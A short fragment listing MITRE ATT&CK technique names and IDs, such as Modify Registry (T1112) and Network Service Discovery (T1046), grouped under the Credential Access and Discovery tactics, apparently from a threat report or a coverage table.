Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery